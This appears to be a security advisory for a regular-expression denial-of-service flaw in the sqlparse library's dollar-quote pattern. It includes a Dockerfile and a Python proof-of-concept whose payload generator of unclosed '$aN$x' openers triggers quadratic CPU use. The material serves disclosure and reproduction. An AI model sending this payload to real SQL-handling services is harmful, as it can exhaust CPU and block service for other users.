Details
Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.
Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the sqlparse repository source code
COPY repo/ /app/repo/
# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/
# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py
# Default: run the PoC
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)
Affected code: sqlparse/keywords.py:33
(r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)
The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.
Attack input: a sequence of N unique, never-closed dollar-quote openers
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists. With N openers this creates
O(N^2) regex work.
Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""
import sys
import time
try:
import sqlparse
from sqlparse.exceptions import SQLParseError
except ImportError as exc:
print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
sys.exit(2)
print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()
def make_payload(n: int) -> str:
"""Generate N unique unmatched dollar-quote openers.
Each token '$ai$x' looks like an opening dollar-quote delimiter
but never has a closing delimiter, so the regex engine must scan
the entire remaining string before giving up on each one.
"""
return " ".join(f"$a{i}$x" for i in range(n))
results = []
sample_sizes = [250, 500, 1000, 2000]
for n in sample_sizes:
payload = make_payload(n)
byte_len = len(payload.encode())
t_start = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as exc:
status = f"SQLParseError({exc})"
except Exception as exc:
status = f"Exception({type(exc).__name__}: {exc})"
elapsed = time.perf_counter() - t_start
results.append((n, byte_len, elapsed, status))
print(f"n={n:>5} bytes={byte_len:>7} elapsed={elapsed:>8.3f}s status={status}")
print()
# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
n_prev, _, t_prev, _ = results[i - 1]
n_curr, _, t_curr, _ = results[i]
if t_prev > 0:
ratio = t_curr / t_prev
n_ratio = n_curr / n_prev
print(f" n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")
print()
# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2] # n=1000
_, _, t_2000, _ = results[3] # n=2000
PASS_THRESHOLD = 3.0
if t_1000 > 0:
ratio_1000_2000 = t_2000 / t_1000
else:
ratio_1000_2000 = 0.0
print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")
if ratio_1000_2000 >= PASS_THRESHOLD:
print()
print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
print(f" Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
print(" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
sys.exit(0)
else:
print()
print("[FAIL] Super-linear scaling NOT confirmed within this run.")
print(f" Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
print(" The host may be too fast or JIT effects obscured the result.")
print(" Try larger sample sizes or re-run on a slower host.")
sys.exit(1)